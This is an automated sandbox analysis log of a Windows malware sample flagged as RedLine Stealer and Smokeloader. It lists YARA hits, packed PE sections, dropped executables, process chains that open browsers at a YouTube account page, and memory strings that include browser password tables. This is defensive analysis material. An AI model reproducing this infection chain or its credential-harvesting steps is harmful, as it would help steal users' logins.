Source: 00000013.00000002.2541855344.00000000025ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.2548613207.00000000040B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: random[1].exe.17.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: cda9e1cbbc.exe.17.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: JGKjBsQrMc.exe Static PE information: Section: ZLIB complexity 0.9998879354508197
Source: JGKjBsQrMc.exe Static PE information: Section: lddzjshm ZLIB complexity 0.9941012402612283
Source: explorti.exe.1.dr Static PE information: Section: ZLIB complexity 0.9998879354508197
Source: explorti.exe.1.dr Static PE information: Section: lddzjshm ZLIB complexity 0.9941012402612283
Source: random[1].exe.19.dr Static PE information: Section: ZLIB complexity 0.9971528014305178
Source: random[1].exe.19.dr Static PE information: Section: lsmjcynp ZLIB complexity 0.9943861507166318
Source: RoamingJDHCBAEHJJ.exe.19.dr Static PE information: Section: ZLIB complexity 0.9971528014305178
Source: RoamingJDHCBAEHJJ.exe.19.dr Static PE information: Section: lsmjcynp ZLIB complexity 0.9943861507166318
Source: RoamingDBFHCGCGDA.exe.19.dr Static PE information: Section: ZLIB complexity 0.9998879354508197
Source: RoamingDBFHCGCGDA.exe.19.dr Static PE information: Section: lddzjshm ZLIB complexity 0.9941012402612283
Source: enter[1].exe.19.dr Static PE information: Section: ZLIB complexity 0.9998879354508197
Source: enter[1].exe.19.dr Static PE information: Section: lddzjshm ZLIB complexity 0.9941012402612283
Source: RoamingJDHCBAEHJJ.exe.19.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.19.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@128/283@60/29
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB17030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree, 19_2_6CB17030
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 19_2_004190A0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9048:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:320:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe File created: C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7 Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\738B.tmp\738C.tmp\738D.bat C:\Users\user\1000003002\e0dbbf79bf.exe"
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SELECT * FROM events WHERE timestamp BETWEEN date(:dateFrom) AND date(:dateTo);
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: INSERT INTO events (type, count, timestamp) VALUES (:type, 1, date(:date));
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE events (id INTEGER PRIMARY KEY, type INTEGER NOT NULL, count INTEGER NOT NULL, timestamp DATE );
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;;Fy6
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: UPDATE events SET count = count + 1 WHERE id = :id;-
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: INSERT INTO events (type, count, timestamp) VALUES (:type, 1, date(:date));),
Source: cda9e1cbbc.exe, cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.19.dr Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SELECT sum(count) FROM events;9
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.19.dr Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.19.dr Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.19.dr Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.19.dr Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;;
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SELECT sum(count) FROM events;
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SELECT sum(count) FROM events;9'
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.19.dr Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: UPDATE events SET count = count + 1 WHERE id = :id;
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SELECT * FROM events WHERE type = :type AND timestamp = date(:date);
Source: cda9e1cbbc.exe, 00000013.00000003.2303862341.0000000022DE5000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000003.2300358229.00000000230F5000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000003.2240068499.00000000230D9000.00000004.00000020.00020000.00000000.sdmp, AEGIJKEHCAKFCAKFHDAA.19.dr, KJEHJKJEBGHJJKEBGIEC.19.dr Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: JGKjBsQrMc.exe Virustotal: Detection: 49%
Source: JGKjBsQrMc.exe ReversingLabs: Detection: 44%
Source: JGKjBsQrMc.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe File read: C:\Users\user\Desktop\JGKjBsQrMc.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\JGKjBsQrMc.exe "C:\Users\user\Desktop\JGKjBsQrMc.exe"
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process created: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe "C:\Users\user~1\AppData\Local\Temp\1000002001\cda9e1cbbc.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process created: C:\Users\user\1000003002\e0dbbf79bf.exe "C:\Users\user\1000003002\e0dbbf79bf.exe"
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\738B.tmp\738C.tmp\738D.bat C:\Users\user\1000003002\e0dbbf79bf.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Source: unknown Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1924,i,8622372328878266711,8392942459092133944,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2156,i,341108890584334873,10938886739958985081,262144 /prefetch:3
Source: unknown Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com/account
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2728 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:3
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a97c0989-9dbf-48c2-9f5d-758311f95aef} 1180 "\\.\pipe\gecko-crash-server-pipe.1180" 1f3ef56af10 socket
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe "C:\Users\user~1\AppData\Local\Temp\1000002001\cda9e1cbbc.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=1924,i,8622372328878266711,8392942459092133944,262144 /prefetch:8
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4488 -parentBuildID 20230927232528 -prefsHandle 1068 -prefMapHandle 3468 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fbe57e93-4224-4c4c-a56e-574ee6529207} 1180 "\\.\pipe\gecko-crash-server-pipe.1180" 1f401a2df10 rdd
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7036 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7220 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7936 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:3
Source: unknown Process created: C:\Users\user\1000003002\e0dbbf79bf.exe "C:\Users\user\1000003002\e0dbbf79bf.exe"
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\B8C2.tmp\B8C3.tmp\B8F3.bat C:\Users\user\1000003002\e0dbbf79bf.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process created: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe "C:\Users\user~1\AppData\Local\Temp\1000002001\cda9e1cbbc.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process created: C:\Users\user\1000003002\e0dbbf79bf.exe "C:\Users\user\1000003002\e0dbbf79bf.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\738B.tmp\738C.tmp\738D.bat C:\Users\user\1000003002\e0dbbf79bf.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account" Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1924,i,8622372328878266711,8392942459092133944,262144 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=1924,i,8622372328878266711,8392942459092133944,262144 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2156,i,341108890584334873,10938886739958985081,262144 /prefetch:3
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a97c0989-9dbf-48c2-9f5d-758311f95aef} 1180 "\\.\pipe\gecko-crash-server-pipe.1180" 1f3ef56af10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4488 -parentBuildID 20230927232528 -prefsHandle 1068 -prefMapHandle 3468 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fbe57e93-4224-4c4c-a56e-574ee6529207} 1180 "\\.\pipe\gecko-crash-server-pipe.1180" 1f401a2df10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2728 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
